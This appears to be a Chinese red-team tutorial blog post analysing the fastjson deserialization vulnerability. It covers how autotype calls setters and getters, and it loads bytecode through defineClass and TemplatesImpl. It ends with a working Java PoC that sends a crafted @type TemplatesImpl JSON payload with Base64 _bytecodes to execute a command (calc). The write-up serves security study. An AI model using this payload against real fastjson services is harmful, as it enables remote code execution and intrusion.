前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >fastjson从0到1

fastjson从0到1

作者头像
红队蓝军
发布于 2022-05-17 10:09:42
发布于 2022-05-17 10:09:42
43600
代码可运行
举报
文章被收录于专栏:红队蓝军红队蓝军
运行总次数:0
代码可运行

fastjson简单使用

User:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.naihe;

public class User {
    private String name;
    private int age;

    public User() {}
    
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Demo:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.naihe;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FS {
    public static void main(String[] args) {
        User user1 = new User("小李",10);
        String JsStr1= JSONObject.toJSONString(user1);
        System.out.println(JsStr1);

        User user2 = new User("大李",100);
        String JsStr2= JSONObject.toJSONString(user2, SerializerFeature.WriteClassName);
        System.out.println(JsStr2);

        String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";
        Object obj1 = JSONObject.parse(str);
        System.out.println(obj1);

        Object obj2 = JSONObject.parseObject(str);
        System.out.println(obj2);

    }
}

反序列化漏洞分析

由于fastjson调试起来过程比较复杂,在这里直接看关键点:首先会获取字符串的第一对引号中的内容

如果内容为@type就会加载下一对引号中的类

在JavaBeanInfo.class中会获取类中所有详细详细 在这里匹配以set开头的方法

这里判断函数名长度大于4,且以set开头,非静态函数,返回类型为void或当前类参数个数为1个的方法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
methodName.length() >= 4 && 
!Modifier.isStatic(method.getModifiers()) && 
(method.getReturnType().equals(Void.TYPE) || 
method.getReturnType().equals(method.getDeclaringClass())))

函数名长度大于等于4非静态方法,以get开头且第4个字母为大写,无参数,返回值类型继承自Collection或Map或AtomicBoolean,或Atomiclnteger或AtomicLon的方法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
methodName.length() >= 4 && 
!Modifier.isStatic(method.getModifiers()) && 
methodName.startsWith("get") && 
Character.isUpperCase(methodName.charAt(3)) && 
method.getParameterTypes().length == 0 && 
(Collection.class.isAssignableFrom(method.getReturnType()) || 
Map.class.isAssignableFrom(method.getReturnType()) || 
AtomicBoolean.class == method.getReturnType() || 
AtomicInteger.class == method.getReturnType() || 
AtomicLong.class == method.getReturnType()))

其实本质就是fastjson会利用反序列化通过无参构造创建一个对象,不通过setter或getter方法进行赋值与输出操作 因此我们只需要找到满足条件的类就行,这里一般利用的是 TemplatesImpl链来加载字节码,从而rce等操作 下面我们来证明一下我们的观点 在setter方法中添加一段命令执行的代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.naihe;

public class User {
    private String name;
    private int age;

    public User() {}

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Demo:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.naihe;

import com.alibaba.fastjson.JSONObject;

public class Demo1 {
    public static void main(String[] args) {
        String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";
        Object obj1 = JSONObject.parse(str);
        
    }
}

字节码加载

利用defineClass加载字节码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.naihe;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class DC {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException, NotFoundException, CannotCompileException, IOException {
        //通过字节码构建恶意类
        ClassPool classPool=ClassPool.getDefault();
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections3");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] code=payload.toBytecode();

        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "CommonsCollections3", code, 0, code.length);
        yyds.newInstance();

    }
}

利用TemplatesImpl加载字节码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.naihe;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import java.lang.reflect.Field;
import java.util.Base64;

public class TL {
    private static void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, fieldValue);
    }
    public static void main(String[] args) {
        try {
            ClassPool classPool=ClassPool.getDefault();
            String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
            classPool.appendClassPath(AbstractTranslet);
            CtClass payload=classPool.makeClass("CommonsCollections3");
            payload.setSuperclass(classPool.get(AbstractTranslet));
            payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
            byte[] codes=payload.toBytecode();

            byte[][] _bytecodes = new byte[][] {
                    codes,
            };
            TemplatesImpl templates = new TemplatesImpl();
            setFiledValue(templates, "_bytecodes", _bytecodes);
            setFiledValue(templates, "_name", "whatever");
            setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
            templates.newTransformer();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

poc:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.naihe;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.util.Base64;

public class fastjson {
    public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {
        ParserConfig config = new ParserConfig();
        ClassPool classPool=ClassPool.getDefault();
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections3");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        String str = Base64.getEncoder().encodeToString(payload.toBytecode());


        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+str+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";


        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

利用分析

fastjosn一般是使用TemplatesImpl链来进行攻击的,在上面其实已经分析过fastjson在反序列化的时候会调用满足条件的getter方法,因此就会调用TemplatesImpl类的getOutputProperties方法,然后通过getOutputProperties,调用newTransformer

仔细观察就会发现poc中将byte进行了base64加密,那么这是为什么了?在调用deserialze时会执行base64解密

造成_bytecodes需要进行base64编码

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
Typora Markdown 语法
当前许多网站都广泛使用 Markdown 来撰写帮助文档或是用于论坛上发表消息。例如:GitHub、简书、reddit、Diaspora、Stack Exchange、OpenStreetMap 、SourceForge等。
框架师
2021/03/08
2.9K0
Typora Markdown 语法
【hexo博客进阶】1.Markdown语法
如果你想让你的博客,看起来更加美观,学习markdown是必要的,你不需要存在害怕的心理,因为markdown十分简单,就是记住几个符号就行了,不是你想象的他和学习编程语言一样复杂。
huanhao
2020/04/09
9750
Markdown高级教程
作为程序员,如果你不清楚 Markdown 估计没人敢相信,毫不夸张地说,Markdown 是目前世界上最受欢迎的标记语言之一,所以今天我就带领大家初步了解一下 Markdown 的魅力,带你快速上手 Markdown
小城故事
2022/11/30
1.8K0
Markdown高级教程
Markdown 语法教程
Markdown 语言在 2004 由约翰·格鲁伯(英语:John Gruber)创建。
用户1040278
2022/10/21
1.5K0
Markdown语法hexo常用汇总
Markdown 是一种轻量级标记语言,它允许人们使用易读易写的纯文本格式编写文档。
CtrlX
2022/08/10
3.4K0
Markdown语法hexo常用汇总
我用AI帮我生成了流程图、时序图(顺序图)、甘特图
AI思维导图工具是一种结合人工智能技术的在线软件,旨在帮助用户快速生成和编辑思维导图、流程图等图形结构。这些工具可以自动识别用户输入的文字或图片,并生成对应的图表,极大地简化了复杂逻辑的绘图过程。
AIGC新知
2024/10/08
1.7K0
我用AI帮我生成了流程图、时序图(顺序图)、甘特图
Markdown语法
Markdown 段落没有特殊的格式,直接编写文字就好,段落的换行是使用两个以上空格加上回车。或者
SakuraTears
2022/01/13
1.6K0
Markdown语法
Markdown如何学习,看完这篇文章就够了。
不论是开发者还是写文章的博主。现在主流编辑器是Markdown,所以学习Markdown语法对提升技能很有帮助。想要学习Markdown,这篇文章就够了。
Python兴趣圈
2023/11/10
4430
Markdown如何学习,看完这篇文章就够了。
Markdown 语法大全/Markdown 语法标签
基本语法 名称 语法 说明 标题 # 一级标题 ## 二级标题 ### 三级标题 使用 # 号可表示 1-6 级标题 斜体 *斜体文本* 斜体文本 粗体 **粗体文本** 粗体文本 粗斜体 ***粗斜体文本*** 粗斜体文本 分隔线 --- 用三个以上的星号、减号、下划线 删除线 ~~旧版本~~ 旧版本 下划线 <u>带下划线文本</u> 带下划线文本 进阶语法 名称 语法 说明 脚注 [^要注明的文本] 创建脚注格式类似这样 [^这是脚注]。[^这是脚注]: 这就是脚注的说明 有序列表 数字并加上 .
目的地-Destination
2023/03/06
1.4K0
使用AI配合Typora智能画图
本文由 小马哥 创作,采用 知识共享署名4.0 国际许可协议进行许可 本站文章除注明转载/出处外,均为本站原创或翻译,转载前请务必署名 最后编辑时间为: 2023/05/25 11:35
IT小马哥
2023/05/26
6990
使用AI配合Typora智能画图
Markdown使用教程
Markdown 是一种轻量级标记语言,它允许人们使用易读易写的纯文本格式编写文档。
张小驰出没
2021/12/06
6.5K0
Markdown使用教程
为什么要学习 Markdown?究竟有什么用?
Markdown 是一种轻量级标记语言,创始人是约翰·格鲁伯(John Gruber)。允许人们使用易读易写的纯文本格式编写文档,可以导出 HTML 、Word、图像、PDF、Epub 等多种格式的文档,文档后缀为.md,.markdown。
AI算法与图像处理
2020/02/25
1.2K0
Markdown笔记 | 一篇最详细的Markdown 教程 --> 收好
Markdown是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式。Markdown具有一系列衍生版本,用于扩展Markdown的功能(如表格、脚注、内嵌HTML等等),这些功能原初的Markdown尚不具备,它们能让Markdown转换成更多的格式,例如LaTeX,Docbook。Markdown增强版中比较有名的有Markdown Extra、MultiMarkdown、 Maruku等。这些衍生版本要么基于工具,如Pandoc;要么基于网站,如GitHub和Wikipedia,在语法上基本兼容,但在一些语法和渲染效果上有改动。
野原测试开发
2019/07/10
31K0
掌握Markdown技巧,轻松应对写作需求
本文 Markdown 语法使用 VSCode 编辑并使用其插件 Markdown Preview Enhanced 预览。
M.Talen
2024/05/22
2120
掌握Markdown技巧,轻松应对写作需求
Markdown语法总结
Markdown 是一种轻量级标记语言,它允许人们使用易读易写的纯文本格式编写文档。
星姮十织
2021/12/25
6840
使用 VS Code + Markdown 编写 PDF 文档
作为一个技术人员,基本都需要编写技术相关文档,而且大部分技术人员都应该掌握 markdown 这个技能,使用 markdown 来编写并生成 PDF 文档将会是一个不错的体验,以下就介绍下如何使用 VS Code + Markdown 来编写 PDF 文档
深夜zi码农头疼
2022/07/02
8550
Markdown_02_作图
详细用法参见官方文档 : https://mermaidjs.github.io/
shirayner
2019/05/09
1.1K0
Typora常用命令
1.本教程将使用 Typora 编辑器来讲解 Markdown 的语法,Typora 支持 MacOS 、Windows、Linux 平台,且包含多种主题,编辑后直接渲染出效果。
HammerZe
2022/05/09
5670
Typora常用命令
Markdown语言常用语法
Markdown 是一种轻量级标记语言,它允许人们使用易读易写的纯文本格式编写文档。它编写的文档可以导出 HTML 、Word、图像、PDF、Epub 等多种格式的文档。Markdown 编写的文档后缀为 .md, .markdown。接下来我们就来学习一下Markdown语言常用语法。
算法与编程之美
2020/03/12
7750
欢迎使用Markdown编辑器
你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本语法知识。
卜卜-Totoro
2019/08/20
1.1K0
相关推荐
Typora Markdown 语法
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验